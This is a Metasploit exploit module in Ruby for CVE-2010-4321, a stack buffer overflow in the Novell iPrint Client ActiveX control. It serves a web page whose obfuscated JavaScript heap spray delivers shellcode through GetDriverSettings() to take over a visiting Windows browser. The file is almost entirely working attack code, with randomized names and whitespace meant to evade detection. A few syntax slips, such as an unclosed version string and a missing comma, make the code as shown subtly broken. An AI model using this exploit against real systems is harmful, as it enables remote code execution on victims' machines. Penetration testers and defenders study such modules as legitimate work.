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##
# $Id: novelliprint_getdriversettings_2.rb 11886 2011-03-06 20:27:06Z bannedit $
##
###
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super( update_info(info,
'Name' => 'Novell iPrint Client ActiveX Control <= 5.52 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Novell iPrint Client 5.52. When
sending an overly long string to the GetDriverSettings() property of ienipp.ocx
an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <steventhomasseeley[at]gmail.com>', # metasploit module
'Dr_IDE' # original Exploit from exploit-db.com
],
'Version' => '$Revision: 11886
,
'References' =>
[
[ 'CVE', '2010-4321' ],
[ 'BID', '44966' ],
[ 'ZDI', '10-256' ],
[ 'EDB', '16014' ],
[ 'OSVDB', '69357' ]
[ 'URL', 'http://www.exploit-db.com/exploits/16014/' ],
[ 'URL', 'http://www.novell.com/support/viewContent.do?externalId=7007234' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7',
{
'Ret' => 0x0A0A0A0A
}
]
],
'DisclosureDate' => 'Nov 15 2010',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Create some nops.
nops = Rex::Text.to_unescape(make_nops(4))
# Set the return.
ret = Rex::Text.uri_encode([target.ret].pack('L'))
# Randomize the javascript variable names.
vname = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(30) + 2)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)
content = %Q|<html>
<object id='#{vname}' classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{nops}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x50000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 200; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 250; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.GetDriverSettings(#{rand8}, #{vname}, #{vname}, #{vname});
</script>
</html>
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content = Rex::Text.randomize_space(content)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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